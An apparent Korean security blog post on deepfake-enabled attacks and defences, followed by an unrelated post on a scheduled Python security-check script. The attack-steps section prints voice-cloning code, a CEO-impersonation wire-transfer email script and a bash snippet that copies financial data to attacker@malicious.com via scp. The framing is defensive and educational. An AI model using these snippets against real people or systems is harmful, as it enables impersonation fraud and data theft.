JD Securtiry Expert

딥페이크(Deepfake) 기술은 인공지능과 머신러닝을 활용하여 실제 사람의 얼굴, 목소리, 행동 등을 매우 정교하게 모방하는 기술입니다.
이러한 기술은 엔터테인먼트, 교육 등 다양한 분야에서 긍정적인 용도로 사용되지만, 해커들은 이를 악용하여 다양한 형태의 사이버 공격을 수행하고 있습니다.
보안관리자의 관점에서 딥페이크를 이용한 해킹 공격의 기술적 측면을 자세히 살펴보겠습니다.

딥페이크란?

딥페이크의 역사와 발전

딥페이크 기술의 기원과 발전 과정을 이해하는 것은 현재 기술 수준을 파악하는 데 중요합니다.
초기 딥러닝 기술은 간단한 이미지 생성에서 시작되었으며, GANs와 오토인코더의 발전으로 딥페이크 기술이 비약적으로 발전했습니다.
주요 발전 단계에서는 고해상도 이미지 생성, 실시간 처리 기술 등이 포함되며, 중요한 연구 성과들이 이어졌습니다.
현재 딥페이크 기술은 더욱 정교해지고 있으며, 미래에는 더욱 다양한 응용 분야에서 활용될 가능성이 큽니다.

딥페이크의 긍정적 활용 사례

딥페이크 기술은 악용될 가능성 외에도 다양한 긍정적 활용 사례가 존재합니다.
엔터테인먼트 분야에서는 영화나 TV 프로그램에서 특수 효과로 활용되어 현실감 있는 장면을 연출합니다.
교육 분야에서는 역사적 인물의 재현이나 교육용 시뮬레이션에 사용되어 학습 효과를 높입니다.
의료 분야에서는 환자 교육이나 재활 치료 등에 활용되어 환자의 이해를 돕고 치료 과정을 지원합니다.

1- 딥페이크 기술의 기본 개요

1.1. 생성적 적대 신경망(GANs)

딥페이크의 핵심 기술은 생성적 적대 신경망(GANs, Generative Adversarial Networks)입니다.

GANs는 두 개의 신경망, 즉 생성자(generator)와 판별자(discriminator)가 경쟁적으로 학습하는 구조로, 생성자는 실제와 유사한 데이터를 생성하고, 판별자는 생성된 데이터가 실제 데이터인지 생성된 데이터인지를 구분하려고 합니다.

이 과정을 통해 생성자는 점점 더 정교한 데이터를 생성하게 됩니다.

위 내용을 이해하기위해 아래 비유적인 설명을 더해보겠습니다.

위조 화가와 감정가의 대결

생성적 적대 신경망(GANs)은 두 개의 인공지능 모델, 즉 생성자(generator)와 판별자(discriminator)가 서로 경쟁하며 학습하는 구조입니다.

이를 이해하기 위해 다음과 같은 비유를 들어보겠습니다.

위조 화가와 감정가

• 위조 화가(생성자): 이 사람은 유명 화가의 스타일을 모방하여 새로운 그림을 그리는 전문가입니다. 그의 목표는 진짜 그림처럼 보이는 위조 그림을 만드는 것입니다.
• 감정가(판별자): 이 사람은 그림을 보고 그것이 진짜 원작인지 위조인지 판단하는 전문가입니다. 그의 목표는 위조된 그림을 정확히 식별하는 것입니다.

결국, 위조 화가는 매우 진짜와 흡사한 그림을 그릴 수 있게 되고, 감정가는 이를 식별하기가 매우 어려워집니다.

이와 같은 방식으로 GANs는 생성자와 판별자가 경쟁하며 점점 더 정교한 데이터를 생성하게 됩니다.

1.2. 오토인코더(Autoencoders)

딥페이크에서는 종종 오토인코더라는 신경망 구조가 사용됩니다.

오토인코더는 입력 데이터를 압축(latent space)한 후 다시 복원하는 과정을 통해 데이터의 중요한 특징을 학습합니다.

이 과정에서 얼굴의 표정, 움직임 등을 효과적으로 캡처할 수 있습니다.

위 내용을 이해하기위해 아래 비유적인 설명을 더해보겠습니다.

사진 앨범 정리와 재구성

오토인코더는 입력 데이터를 압축하고 다시 복원하는 과정을 통해 중요한 특징을 학습하는 신경망 구조입니다.

이를 이해하기 위해 다음과 같은 비유를 들어보겠습니다.

사진 앨범 정리와 재구성

• 앨범 정리자(인코더): 이 사람은 많은 사진이 담긴 앨범을 받습니다. 하지만 앨범을 간소화하여 공간을 절약하고자, 각 사진의 핵심적인 특징만을 뽑아 작은 카드에 기록합니다. 예를 들어, 인물의 얼굴, 배경의 주요 요소 등을 간략하게 메모합니다.
• 앨범 재구성자(디코더): 이 사람은 간략하게 기록된 카드들을 받아서 원래의 사진과 최대한 유사하게 재구성하려고 합니다. 카드에 적힌 핵심 정보를 바탕으로 사진을 다시 그려내는 것입니다.

결국, 오토인코더는 원본 데이터를 중요한 특징만을 남기고 압축한 후, 이를 다시 복원함으로써 데이터의 핵심적인 정보를 학습하게 됩니다. 이는 딥페이크에서 얼굴의 표정이나 움직임 등을 효과적으로 캡처하는 데 사용됩니다.

2- 해커의 딥페이크 공격 활용 방법

딥페이크 기술을 활용한 해킹 공격은 주로 다음과 같은 형태로 나타납니다.

2.1- 소셜 엔지니어링 공격

2.1.1. 피싱(Phishing)

해커는 딥페이크 기술을 사용하여 신뢰할 수 있는 인물(예: 회사의 CEO, 금융 담당자)의 음성이나 영상을 만들어 이메일, 전화, 메시지를 통해 민감한 정보를 유출하거나 금전적인 이득을 취하려고 시도합니다.

예시: 해커가 CEO의 딥페이크 음성을 사용하여 재무 부서에 급히 송금 요청을 하는 이메일을 보내는 경우.

2.1.2. 스피어 피싱(Spear Phishing)

타겟을 구체적으로 정한 스피어 피싱 공격에서 딥페이크는 더욱 효과적입니다.

특정 개인이나 조직의 내부 정보를 기반으로 맞춤형 메시지를 생성하여 공격 성공률을 높입니다.

2.1.3 비즈니스 이메일 침해 (BEC, Business Email Compromise)

딥페이크 기술을 이용한 비즈니스 이메일 침해 사례를 추가하면 구체적인 공격 시나리오를 이해하는 데 도움이 됩니다.
해커가 고위 경영진의 딥페이크 이메일을 사용하여 직원들에게 기밀 정보를 요청하거나 금전적 거래를 유도할 수 있습니다.
예시: CFO의 딥페이크 이메일을 통해 급히 송금을 요청하는 경우.

2.2- 인증 우회

2.2.1. 생체 인증 우회

얼굴 인식, 음성 인식 등 생체 인증 시스템을 우회하기 위해 딥페이크가 사용될 수 있습니다.

해커는 타겟의 얼굴이나 음성을 모방하여 인증 절차를 통과하고 시스템에 접근할 수 있습니다.

예시: 얼굴 인식 기반의 스마트폰 잠금을 딥페이크 얼굴 이미지로 해제하는 시도.

2.3- 디지털 사기 및 명예 훼손

2.3.1. 가짜 뉴스 및 허위 정보 생성

딥페이크 기술을 사용하여 유명 인물이나 공인의 허위 발언, 행동 영상을 만들어 사회적 혼란을 야기하거나 특정한 목적을 달성하려는 시도가 가능합니다.

2.3.2. 금융 사기

딥페이크를 통해 금융 기관의 공식 발표나 거래 지시를 모방하여 고객의 금융 정보를 탈취하거나 부정 송금을 유도할 수 있습니다.

2.3.3. 딥페이크를 이용한 랜섬웨어 공격

딥페이크를 활용하여 랜섬웨어 공격의 신뢰성을 높일 수 있습니다.
해커는 타겟에게 신뢰감을 주기 위해 딥페이크 영상을 사용하여 랜섬웨어 공격을 알리는 경우가 있습니다.
예시: CEO의 딥페이크 영상으로 중요한 파일 암호화 경고 메시지를 전달.

2.4- 정치적 및 사회적 공격

딥페이크는 정치적 인물의 허위 영상이나 음성을 만들어 여론을 조작하거나 선거에 영향을 미치기 위해 사용될 수 있습니다.

이는 국가 안보에도 위협이 될 수 있습니다.

2.5- 내부자 위협

딥페이크를 이용하여 내부자 위협을 조장할 수 있습니다.
해커는 내부자처럼 행동하는 딥페이크를 생성하여 내부 시스템에 접근하거나 정보를 탈취할 수 있습니다.
예시: 내부자의 딥페이크 음성으로 보안 시스템에 접근 시도.

3- 딥페이크 공격의 기술적 단계

딥페이크 공격은 여러 기술적 단계를 거쳐 수행됩니다.

아래는 그 주요 단계들입니다.

각 단계별로 어떤 기술과 방법이 사용되는지 살펴보겠습니다.

공격 단계별 기술적 설명

타겟 식별 및 정보 수집 (소셜 엔지니어링 정보 수집)

• 기법: 소셜 미디어 스크래핑, 피싱, OSINT(Open Source Intelligence) 활용
• 목적: 타겟 인물의 얼굴, 음성, 행동 패턴에 대한 데이터를 수집
• 도구: Python의 BeautifulSoup, Scrapy 등 웹 스크래핑 도구; 소셜 미디어 API

예시)

import requests
from bs4 import BeautifulSoup

# 예시: 특정 인물의 소셜 미디어 페이지 스크래핑
url = 'https://www.example.com/profile'
response = requests.get(url)
soup = BeautifulSoup(response.text, 'html.parser')

# 얼굴 사진 URL 추출
image_urls = [img['src'] for img in soup.find_all('img') if 'profile' in img['src']]

딥페이크 생성 (얼굴 스와핑 및 음성 합성)

• 기술: GANs, 오토인코더, 음성 합성 모델(TTS: Text-to-Speech)
• 목적: 타겟 인물의 얼굴이나 음성을 정확하게 모방
• 도구 및 라이브러리:
  • 딥페이크 생성: DeepFaceLab, FaceSwap
  • 음성 합성: Tacotron 2, WaveNet

예시)

# DeepFaceLab 사용 예시
# Step 1: 데이터 추출
python main.py extract --input-dir /path/to/input --output-dir /path/to/output

# Step 2: 모델 학습
python main.py train --training-data-src-dir /path/to/source --training-data-dst-dir /path/to/destination --model-dir /path/to/model

# Step 3: 얼굴 적용
python main.py merge --input-dir /path/to/input --output-dir /path/to/output --model-dir /path/to/model

음성 합성 및 변조

• 기술: 음성 합성(TTS), 음성 클로닝
• 도구: Mozilla TTS, Real-Time Voice Cloning

예시)

from synthesizer.inference import Synthesizer
from encoder import inference as encoder
from vocoder import inference as vocoder

# 모델 로드
encoder_weights = 'path/to/encoder/saved_model.pt'
synthesizer_weights = 'path/to/synthesizer/saved_model.pt'
vocoder_weights = 'path/to/vocoder/saved_model.pt'

encoder.load_model(encoder_weights)
synthesizer = Synthesizer(synthesizer_weights)
vocoder.load_model(vocoder_weights)

# 음성 합성
speaker_embedding = encoder.embed_utterance('path/to/source/audio.wav')
specs = synthesizer.synthesize_spectrograms(['Hello, this is a deepfake voice.'], [speaker_embedding])
generated_wav = vocoder.infer_waveform(specs[0])

공격 벡터 통합 (피싱 이메일 및 소셜 엔지니어링)

• 기법: 딥페이크 영상/음성을 포함한 피싱 이메일 발송
• 목적: 신뢰할 수 있는 인물로 위장하여 민감 정보 탈취 또는 금전적 이득
• 도구: 이메일 자동화 스크립트, 피싱 키트

예시)

import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText

# 이메일 구성
msg = MIMEMultipart()
msg['From'] = 'ceo@company.com'
msg['To'] = 'employee@company.com'
msg['Subject'] = 'Urgent: Financial Transaction Required'

body = 'Please transfer $10,000 to the following account immediately.'
msg.attach(MIMEText(body, 'plain'))

# 이메일 발송
server = smtplib.SMTP('smtp.example.com', 587)
server.starttls()
server.login('ceo@company.com', 'password')
text = msg.as_string()
server.sendmail('ceo@company.com', 'employee@company.com', text)
server.quit()

인증 우회

• 기법: 딥페이크를 사용하여 생체 인증 시스템을 속임
• 목적: 시스템 접근 권한 획득, 데이터 탈취
• 대상: 얼굴 인식, 음성 인식 기반 시스템

기술적 접근:

• 얼굴 인식 우회: 고해상도 딥페이크 얼굴 이미지를 활용하여 얼굴 인식 시스템을 속임
• 음성 인식 우회: 딥페이크 음성을 사용하여 음성 인증을 통과

예시)

from selenium import webdriver

# 웹드라이버 설정 (예: Selenium을 사용한 웹 애플리케이션 테스트)
driver = webdriver.Chrome()

# 얼굴 인식 기반 로그인 페이지 접근
driver.get('https://secure.company.com/login')

# 딥페이크 얼굴 이미지 업로드
upload_element = driver.find_element_by_id('face_upload')
upload_element.send_keys('/path/to/deepfake_image.jpg')

# 로그인 시도
login_button = driver.find_element_by_id('login_button')
login_button.click()

악성 코드 삽입 및 권한 상승

딥페이크 자체가 직접적인 악성 코드 삽입이나 권한 상승을 수행하지는 않지만, 딥페이크를 활용한 사회 공학적 공격이 성공하면 다음과 같은 추가 공격을 수행할 수 있습니다.

랜섬웨어 배포

• 기법: 딥페이크 메시지를 통해 랜섬웨어를 배포
• 목적: 데이터 암호화 및 금전적 요구
• 도구: 랜섬웨어 바이너리, 악성 링크 또는 첨부파일

예시 시나리오:

1. 딥페이크 음성을 사용하여 CEO가 랜섬웨어 공격 경고 메시지를 전달
2. 직원들이 첨부파일을 열거나 링크를 클릭하여 랜섬웨어 실행

 내부자 위협 시뮬레이션

• 기법: 딥페이크를 사용하여 내부자의 행동을 시뮬레이션
• 목적: 내부 시스템 접근 및 데이터 탈취
• 도구: 내부 시스템 접근 권한, 데이터 탈취 스크립트

예시)

# 내부 시스템 접근 후 데이터 탈취 스크립트 실행
#!/bin/bash
# 권한 상승 후 민감 데이터 복사
sudo -i
cp /secure/data/financials.csv /tmp/financials.csv
# 외부로 데이터 전송
scp /tmp/financials.csv attacker@malicious.com:/path/to/store

4- 딥페이크 공격 대응 방안

딥페이크 기술의 발전과 함께 이를 이용한 공격도 정교해지고 있습니다.

보안관리자는 다음과 같은 대응 방안을 고려해야 합니다.

4.1. 기술적 방어

딥페이크 공격 대응 방안의 기술적 측면

딥페이크를 활용한 공격에 효과적으로 대응하기 위해서는 기술적 방어 수단을 강화해야 합니다. 아래는 구체적인 기술적 대응 방법들입니다.

딥페이크 탐지 도구 도입

• 기법: AI 기반 딥페이크 탐지, 디지털 포렌식
• 도구:
  • DeepFake Detection Challenge (DFDC) Model
  • FaceForensics++

예시)

import tensorflow as tf
from tensorflow.keras.models import load_model
from tensorflow.keras.preprocessing import image
import numpy as np

# 딥페이크 탐지 모델 로드
model = load_model('path/to/detection_model.h5')

# 이미지 전처리
img = image.load_img('path/to/input_image.jpg', target_size=(224, 224))
img_array = image.img_to_array(img)
img_array = np.expand_dims(img_array, axis=0) / 255.0

# 예측
prediction = model.predict(img_array)
if prediction[0][0] > 0.5:
    print("딥페이크로 의심됩니다.")
else:
    print("실제 데이터로 판단됩니다.")

멀티팩터 인증 도입

• 기법: OTP, 보안 토큰, 생체 인증 외 추가 인증 수단
• 도구: Google Authenticator, YubiKey, SMS 기반 OTP 시스템

# Flask 애플리케이션에서 OTP를 사용한 멀티팩터 인증 구현 예시
from flask import Flask, request, redirect, url_for
import pyotp

app = Flask(__name__)

# 사용자 OTP 시크릿 키 생성
user_otp_secret = pyotp.random_base32()

@app.route('/login', methods=['GET', 'POST'])
def login():
    if request.method == 'POST':
        password = request.form['password']
        otp = request.form['otp']
        if verify_password(password) and verify_otp(otp, user_otp_secret):
            return redirect(url_for('dashboard'))
    return '''
        <form method="post">
            Password: <input type="password" name="password"><br>
            OTP: <input type="text" name="otp"><br>
            <input type="submit" value="Login">
        </form>
    '''

def verify_otp(otp, secret):
    totp = pyotp.TOTP(secret)
    return totp.verify(otp)

if __name__ == '__main__':
    app.run()

음성 및 영상 검증 시스템 강화

• 기법: 실시간 인증, 행동 분석, 비정상 패턴 탐지
• 도구: 실시간 음성 분석 도구, 영상 인증 강화 소프트웨어

예시)

# 실시간 음성 인증을 위한 Python 예시 (간단한 음성 분석)
import speech_recognition as sr

def authenticate_voice(expected_phrase):
    recognizer = sr.Recognizer()
    with sr.Microphone() as source:
        print("Speak the authentication phrase:")
        audio = recognizer.listen(source)
    try:
        speech_text = recognizer.recognize_google(audio)
        if speech_text.lower() == expected_phrase.lower():
            print("Voice authentication successful.")
            return True
        else:
            print("Voice authentication failed.")
            return False
    except sr.UnknownValueError:
        print("Could not understand audio.")
        return False
    except sr.RequestError:
        print("Speech recognition service error.")
        return False

# 사용 예시
if authenticate_voice("Authorize access"):
    print("Access granted.")
else:
    print("Access denied.")

데이터 무결성 검증

• 기법: 디지털 서명, 해시 함수, 블록체인 기반 검증
• 도구: OpenSSL, HashiCorp Vault, 블록체인 플랫폼

예시)

# OpenSSL을 사용한 파일 서명 및 검증
# 파일 서명 생성
openssl dgst -sha256 -sign private_key.pem -out file.sig file.txt

# 파일 서명 검증
openssl dgst -sha256 -verify public_key.pem -signature file.sig file.txt

협력과 정보 공유

• 기법: 사이버 위협 인텔리전스 공유, 보안 커뮤니티 참여
• 도구: STIX/TAXII 표준, 보안 정보 공유 플랫폼

# STIX 데이터 수집 및 공유 예시 (간단한 JSON 형식)
import json

threat_intel = {
    "type": "threat-actor",
    "name": "DeepFake Hacker Group",
    "description": "Uses deepfake technology for phishing and authentication bypass."
}

# STIX 데이터를 파일로 저장
with open('threat_intel.json', 'w') as f:
    json.dump(threat_intel, f, indent=4)

사용자 인증 강화

• 기법: 행동 기반 인증, 다중 생체 인증, 지리적 위치 검증
• 도구: 행동 분석 소프트웨어, 다중 생체 인증 시스템

예시)

# Python을 사용한 간단한 행동 기반 인증 예시 (키 입력 패턴 분석)
import time

class BehaviorAuth:
    def __init__(self):
        self.key_times = []

    def record_keypress(self, key):
        current_time = time.time()
        self.key_times.append((key, current_time))

    def authenticate(self):
        # 간단한 패턴 매칭 (실제 구현은 더 정교해야 함)
        expected_pattern = [('a', 0.1), ('b', 0.2), ('c', 0.3)]
        for i, (key, t) in enumerate(self.key_times[:3]):
            if key != expected_pattern[i][0]:
                return False
            if i > 0 and (t - self.key_times[i-1][1]) != expected_pattern[i][1]:
                return False
        return True

# 사용 예시
auth = BehaviorAuth()
auth.record_keypress('a')
time.sleep(0.1)
auth.record_keypress('b')
time.sleep(0.2)
auth.record_keypress('c')

if auth.authenticate():
    print("Behavior authentication successful.")
else:
    print("Behavior authentication failed.")

4.2. 교육 및 인식 제고

• 직원 교육: 딥페이크의 위험성과 이를 이용한 공격 기법에 대한 교육을 통해 직원들의 인식을 높입니다.
• 피싱 인식 훈련: 의심스러운 이메일, 메시지, 전화 등을 식별하는 방법을 교육하여 사회공학적 공격에 대한 대응 능력을 강화합니다.

4.3. 정책 및 절차 강화

• 보안 정책 수립: 딥페이크 관련 위협에 대응하기 위한 명확한 보안 정책과 절차를 수립합니다.
• 사고 대응 계획: 딥페이크 공격이 발생했을 때 신속하게 대응할 수 있는 사고 대응 계획을 마련하고, 정기적으로 모의 훈련을 실시합니다.

4.4. 법적 대응

• 법적 조치: 딥페이크를 이용한 악의적인 활동에 대해 법적 조치를 취할 수 있도록 관련 법률을 숙지하고, 필요시 법적 지원을 확보합니다.
• 규제 준수: 개인정보 보호법, 사이버 보안 관련 규제를 준수하여 딥페이크로 인한 피해를 최소화합니다.
•  

4.5. 딥페이크 탐지 기술의 발전

딥페이크 탐지 기술의 최신 동향과 미래 방향을 이해하는 것은 보안 방어에 필수적입니다.

• AI 기반 탐지: 최신 AI 기술을 활용한 딥페이크 탐지 방법이 지속적으로 발전하고 있습니다.
• 블록체인 기술: 콘텐츠의 진위를 검증하기 위한 블록체인 기반 솔루션이 연구되고 있습니다.
• 하이브리드 접근: 여러 탐지 기술을 결합하여 탐지 정확도를 높이는 방법도 시도되고 있습니다.

4.6. 데이터 무결성 검증

딥페이크로 인한 데이터 위조를 방지하기 위해 무결성 검증 방법을 도입해야 합니다.

• 디지털 서명: 데이터의 출처와 무결성을 확인하기 위한 디지털 서명을 활용합니다.
• 해시 함수: 데이터가 변경되지 않았음을 검증하기 위한 해시 함수를 사용합니다.

4.7. 협력과 정보 공유

조직 간의 협력과 정보 공유를 통해 딥페이크 위협에 효과적으로 대응할 수 있습니다.

• 공유 플랫폼: 사이버 보안 위협 정보를 공유하는 플랫폼을 구축합니다.
• 산업 간 협력: 다양한 산업 간의 협력을 통해 딥페이크 위협에 대한 공동 대응 방안을 마련합니다.

4.8. 사용자 인증 강화

기존의 생체 인증 외에도 추가적인 사용자 인증 방법을 도입하여 보안을 강화합니다.

• 행동 기반 인증: 사용자의 행동 패턴을 분석하여 인증을 강화합니다.
• 지문, 홍채 등 다양한 생체 인증 방법 통합: 다중 생체 인증을 통해 보안 수준을 향상시킵니다.

5- 결론

딥페이크(Deepfake) 기술은 인공지능과 머신러닝의 발전에 힘입어 얼굴, 음성, 행동 등을 정교하게 모방할 수 있는 강력한 도구로 자리매김하고 있습니다.

이러한 기술은 엔터테인먼트, 교육, 의료 등 다양한 분야에서 긍정적인 활용 가능성을 보여주고 있으나, 동시에 해커들에게 새로운 사이버 공격 벡터를 제공함으로써 심각한 보안 위협을 초래하고 있습니다.

보안관리자의 관점에서 딥페이크를 이용한 해킹 공격은 기존의 사이버 공격 기법과 결합하여 더욱 교묘하고 효과적인 공격을 수행할 수 있게 합니다.

특히 소셜 엔지니어링, 인증 우회, 디지털 사기, 랜섬웨어 배포 등 다양한 형태로 나타나며, 이는 조직의 보안 체계에 중대한 영향을 미칠 수 있습니다. 이러한 공격은 기술적인 측면뿐만 아니라, 심리적 요소를 활용하여 신뢰를 기반으로 한 공격을 수행함으로써 더욱 위험성을 높이고 있습니다.

5.1. 종합적인 보안 전략의 필요성

딥페이크로 인한 보안 위협에 효과적으로 대응하기 위해서는 단일한 방어 수단에 의존하기보다는 다층적인 보안 전략을 수립하는 것이 필수적입니다. 기술적 방어 수단의 강화는 물론, 직원들의 보안 의식 제고와 지속적인 교육이 병행되어야 합니다.

또한, 보안 정책과 절차를 명확히 수립하고, 사고 발생 시 신속하게 대응할 수 있는 체계를 마련하는 것이 중요합니다.

5.2. 최신 기술 동향의 지속적인 파악

딥페이크 기술은 빠르게 진화하고 있으며, 이에 따라 공격 방법도 지속적으로 발전하고 있습니다. 보안관리자는 최신 딥페이크 탐지 기술과 방어 기법을 지속적으로 연구하고 도입해야 합니다.

AI 기반 탐지 도구, 블록체인 기술을 활용한 콘텐츠 검증, 행동 기반 인증 등 다양한 최신 기술을 활용하여 딥페이크 공격을 조기에 식별하고 차단할 수 있는 능력을 갖추는 것이 중요합니다.

5.3. 국제적 협력과 정보 공유의 강화

딥페이크는 국경을 초월한 위협이므로, 국제적인 협력과 정보 공유가 필수적입니다.

국가 간, 산업 간의 협력을 통해 딥페이크 위협에 대한 공동 대응 방안을 마련하고, 사이버 위협 인텔리전스를 공유함으로써 보다 효과적으로 대응할 수 있습니다.

이를 위해 STIX/TAXII 표준과 같은 공통된 프레임워크를 활용하여 위협 정보를 체계적으로 관리하고 공유하는 노력이 필요합니다.

5.4. 법적 및 윤리적 대응의 중요성

딥페이크 기술의 악용을 방지하기 위해서는 강력한 법적 규제와 윤리적 가이드라인의 마련이 필수적입니다.

각국의 사이버 범죄법을 준수하고, 딥페이크 생성 및 배포에 대한 법적 책임을 명확히 함으로써 기술의 악용을 억제할 수 있습니다.

또한, 윤리적 측면에서도 딥페이크 기술의 사용에 대한 내부 정책을 수립하고, 기술 사용 시 발생할 수 있는 윤리적 문제를 사전에 예방하는 노력이 필요합니다.

5.5. 미래 지향적 보안 대응

딥페이크 기술은 앞으로도 더욱 정교해지고 다양한 형태로 발전할 것입니다.

이에 따라 보안 위협도 더욱 복잡해질 것이므로, 보안관리자는 미래를 내다보는 시각을 가지고 보안 전략을 수립해야 합니다.

실시간 딥페이크 생성 기술의 향상, 다중 벡터 공격의 증가 등에 대비하여 보다 유연하고 탄력적인 보안 체계를 구축하는 것이 중요합니다. 또한, 지속적인 기술 연구와 보안 커뮤니티 참여를 통해 변화하는 위협에 신속하게 대응할 수 있는 역량을 키워야 합니다.

딥페이크 기술은 그 잠재력만큼이나 보안 위협도 함께 증가시키고 있습니다.

보안관리자는 딥페이크의 기술적 원리와 이를 활용한 다양한 공격 방법을 깊이 이해하고, 이에 대응하기 위한 종합적인 방어 전략을 마련해야 합니다.

기술적 방어, 교육, 정책 강화, 법적 대응 등을 통해 딥페이크로 인한 보안 위협을 효과적으로 관리할 수 있으며, 지속적인 기술 업데이트와 국제적 협력을 통해 빠르게 변화하는 위협 환경에 유연하게 대응할 수 있을 것입니다.

이를 통해 조직은 딥페이크로 인한 잠재적인 위협을 사전에 차단하고, 안전한 디지털 환경을 유지할 수 있을 것입니다.

궁금하신 사항은 댓글에 남겨주세요

댓글에 남겨주신 내용은

추후 정리해서 올려드리겠습니다

구독 신청하시면 업로드 시 알려드릴게요!

-

조금이라도 도움이 되셨다면

공감&댓글 부탁드리겠습니다

감사합니다!

컴퓨터 보안은 누구에게나 중요한 문제입니다.

하지만 보안 점검을 꾸준히 수행하는 것은 쉽지 않죠.

오늘 Python 스크립트를 활용해 간단하게나마 컴퓨터 보안을 자동으로 점검하는 방법과,

이를 Windows, macOS, Linux에서 매달 자동으로 실행되도록 설정하는 과정을 자세히 설명해보겠습니다.

먼저 체크리스트를 만들어야합니다.

전문적으로 모든 컴퓨터 내부를 살펴보고 보안관리를 하는것이 아니라

우선 가볍게 간단하게 매달 돌려볼 수 있는 보안 점검 리스트를 만들어 봅시다.

자동으로 스캔할 수 있는 항목

1. 운영 체제 및 소프트웨어 업데이트
   • 운영 체제가 최신 상태인지 확인 (Windows Update 상태 등).
   • 설치된 소프트웨어의 버전 확인.
2. 바이러스 및 악성코드 방지
   • 안티바이러스 소프트웨어의 실시간 보호 상태 확인 (Windows Defender 등).
   • 마지막으로 시스템이 스캔된 날짜 확인.
3. 네트워크 보안
   • 현재 연결된 네트워크의 암호화 상태 확인 (WPA2/WPA3 여부).
   • 활성 네트워크 어댑터 확인.
4. 파일 및 데이터 관리
   • 백업 디렉토리 또는 외장 하드 드라이브 상태 확인.
   • 다운로드 폴더의 최근 파일 검토(예: 잠재적으로 위험한 파일 확장자 탐지).
5. 브라우저 및 인터넷 사용
   • 브라우저 플러그인 설치 상태(Ad-blocker 확인).
   • 저장된 비밀번호 사용 여부.
6. 기타
   • 사용하지 않는 네트워크 어댑터(Wi-Fi, Bluetooth)가 비활성화되었는지 확인.

1. Python으로 보안 점검 스크립트 작성하기

먼저, 컴퓨터 보안을 점검할 수 있는 Python 스크립트를 작성합니다. 이 스크립트는 운영 체제의 상태를 확인하고, 네트워크 보안, 다운로드 폴더의 위험 파일 등을 간단히 분석합니다.

import os
import subprocess
import platform

# 운영 체제 확인 및 업데이트 상태 확인
def check_os_updates():
    os_name = platform.system()
    if os_name == "Windows":
        print("Windows 업데이트 상태 확인 중...")
        subprocess.run("powershell -Command Get-WindowsUpdate", shell=True)
    elif os_name == "Linux":
        print("Linux 패키지 업데이트 상태 확인 중...")
        os.system("sudo apt list --upgradable")
    elif os_name == "Darwin":
        print("MacOS 업데이트 상태 확인 중...")
        os.system("softwareupdate -l")
    else:
        print(f"운영 체제 {os_name}는 지원되지 않습니다.")

# 바이러스 및 실시간 보호 상태 확인 (Windows 전용)
def check_antivirus_status():
    os_name = platform.system()
    if os_name == "Windows":
        print("Windows Defender 상태 확인 중...")
        subprocess.run("powershell -Command Get-MpComputerStatus | Select-Object AMServiceEnabled, RealTimeProtectionEnabled", shell=True)
    else:
        print("현재 OS에서는 이 기능을 지원하지 않습니다.")

# 네트워크 어댑터 상태 확인
def check_network_security():
    print("네트워크 어댑터 상태 확인 중...")
    os_name = platform.system()
    if os_name == "Windows":
        subprocess.run("netsh wlan show interfaces", shell=True)
    elif os_name in ["Linux", "Darwin"]:
        os.system("nmcli device status")
    else:
        print(f"운영 체제 {os_name}는 네트워크 확인을 지원하지 않습니다.")

# 다운로드 폴더에서 위험 파일 탐지
def scan_download_folder():
    print("다운로드 폴더 내 파일 검사 중...")
    download_folder = os.path.expanduser("~/Downloads")
    if os.path.exists(download_folder):
        for file in os.listdir(download_folder):
            if file.endswith((".exe", ".bat", ".cmd", ".vbs")):
                print(f"주의: 위험 가능성이 있는 파일 발견 - {file}")
    else:
        print("다운로드 폴더를 찾을 수 없습니다.")

# 메인 실행
if __name__ == "__main__":
    print("컴퓨터 보안 스캔 시작...")
    check_os_updates()
    check_antivirus_status()
    check_network_security()
    scan_download_folder()
    print("보안 스캔 완료.")

2. 운영 체제별 스케줄링 설정

Python 스크립트를 매달 실행하려면 각 운영 체제에 맞는 스케줄링 도구를 사용해야 합니다.

2.1 Windows에서 작업 스케줄러(Task Scheduler) 설정

1. Python 스크립트 파일 저장
   위 코드를 C:\Scripts\security_scan.py로 저장합니다.
2. 작업 스케줄러 열기
   • Windows 검색창에 "작업 스케줄러(Task Scheduler)"를 입력하고 실행합니다.
3. 새 작업 만들기
   • **작업 만들기(Create Task)**를 클릭.
   • 이름: "Monthly Security Scan".
   • 설명: "매월 자동으로 Python 보안 스크립트를 실행".
4. 트리거 설정
   • 트리거 탭에서 **새로 만들기(New)**를 클릭.
   • 매월 실행되도록 설정(예: 매월 1일 오전 9시).
5. 동작 설정
   • 동작 탭에서 **새로 만들기(New)**를 클릭.
   • 프로그램/스크립트에 python을 입력.
   • 인수 추가에 스크립트 경로를 입력:
     makefile

      

C:\Scripts\security_scan.py

저장 후 테스트

• 작업 저장 후 "실행" 버튼으로 정상 실행 여부를 확인합니다.

2.2 macOS에서 launchd 사용

1. Python 스크립트 파일 저장
   • 위 코드를 예를 들어 /Users/사용자/Scripts/security_scan.py로 저장.
2. 플리스트(PLIST) 파일 생성
   • 플리스트 파일을 생성합니다

nano ~/Library/LaunchAgents/com.security.scan.plist

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
    <key>Label</key>
    <string>com.security.scan</string>
    <key>ProgramArguments</key>
    <array>
        <string>/usr/bin/python3</string>
        <string>/Users/사용자/Scripts/security_scan.py</string>
    </array>
    <key>StartCalendarInterval</key>
    <dict>
        <key>Day</key>
        <integer>1</integer>
        <key>Hour</key>
        <integer>9</integer>
    </dict>
    <key>RunAtLoad</key>
    <true/>
</dict>
</plist>

3. 플리스트 로드 및 테스트

launchctl load ~/Library/LaunchAgents/com.security.scan.plist
launchctl start com.security.scan

2.3 Linux에서 cron 사용

1. Python 스크립트 파일 저장
   • 위 코드를 /home/사용자/Scripts/security_scan.py로 저장.
2. 크론 편집
   • 크론 편집기를 엽니다:

crontab -e

0 9 1 * * /usr/bin/python3 /home/사용자/Scripts/security_scan.py

테스트

python3 /home/사용자/Scripts/security_scan.py

3. 실행 결과 로그 저장

결과를 파일로 저장하려면 스크립트 또는 스케줄 설정에 로그를 추가하면 됩니다.

스크립트에 로그 추가

import logging

# 로그 설정
logging.basicConfig(
    filename="security_scan.log",
    level=logging.INFO,
    format="%(asctime)s - %(message)s"
)

logging.info("보안 스캔 시작...")
# 기존 점검 함수 호출
logging.info("보안 스캔 완료.")

스케줄 설정에서 로그 추가

• Windows: >> C:\Scripts\security_scan.log 2>&1
• macOS/Linux: >> /path/to/security_scan.log 2>&1
  
